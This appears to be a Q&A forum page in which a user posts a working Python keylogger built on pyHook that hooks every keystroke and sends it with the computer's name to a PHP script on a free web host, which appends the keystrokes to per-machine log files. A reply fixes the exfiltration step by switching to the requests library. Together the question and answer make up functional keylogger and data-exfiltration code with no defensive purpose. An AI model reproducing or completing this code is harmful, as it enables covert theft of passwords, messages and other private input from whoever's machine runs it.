Stefano Raneri
Stefano Raneri

Reputation: 343

Connection problems in HTTP request using Python

The scope of this script is to send all the keyboard input to a PHP file in a server, that saves it in a file. I've created the directory "logs" in the server and the index.php file. I'm using the WebFreeHosting site for this purpose. Here's the PHP file:

<?php

if(isset($_GET['pcName'], $_GET['toLog'])){

$toLogs = str_split($_GET['toLog']);
$pcName = $_GET['pcName'];
$allows = array_merge(range('A', 'Z'), range('a', 'z'), range('0', '9'));
array_push($allows, "\n", "\t", "@", ".", " ", "?", "!", "(", ")", "#", "$", "%", "^", "^", "&", "*", "'", "<", ">", "/", "-", "+", "=", "_", "{", "}", '"');
foreach($toLogs as $toLog){
        if(!in_array($toLog, $allows))
                $toLog = "";
        if($toLog == "\r")
                $toLog = "\n";

        $file = fopen('logs/'.$pcName.'.txt', "a");
        fwrite($file, $toLog);
        fclose($file);
}

}

?>

And that's the Python script that hooks the keyboard's input and sends it with a GET request on the index.php file:

import pyHook, pythoncom, os, httplib, urllib, getpass, shutil, sys

#functions
def OnKeyBoardEvent(event):
    print event.Ascii
    try:
        params = urllib.urlencode({'pcName': os.environ['COMPUTERNAME'], 'toLog': chr(event.Ascii) })
        conn = httplib.HTTPConection("negated.atwebpages.com")
        conn.request("GET", "/index.php?" + params)

    except:
        pass
    return True


hook_manager = pyHook.HookManager() #new hook manager
hook_manager.KeyDown = OnKeyBoardEvent #tells what to do when the user presses button
hook_manager.HookKeyboard() # tells the program to keep hooking the keyboard
pythoncom.PumpMessages()# keeps the progam running

When i just type in a browser the URL negated.atwebpages.com/index.php?pcName=pc&toLog=hello i receive my text file with the name of the pc using the script, and the keyboard input. But when i activate the script, i don't receive the text file, so it seems is not connecting properly. I can't figure it out what i'm doing wrong. Btw, the library implementation, makes me run the script with this cmd line: py -2 script.py

Upvotes: 1

Views: 66

Answers (1)

St3ve R0nix
St3ve R0nix

Reputation: 102

I did workaround the problem, using the requests library, now the script works, and i receive the file. I've just replaced these two lines:

 conn = httplib.HTTPConection("negated.atwebpages.com")
 conn.request("GET", "/index.php?" + params)

with these

url = "http://negated.atwebpages.com/index.php?"
requests.get(url + params)

Upvotes: 1

Related Questions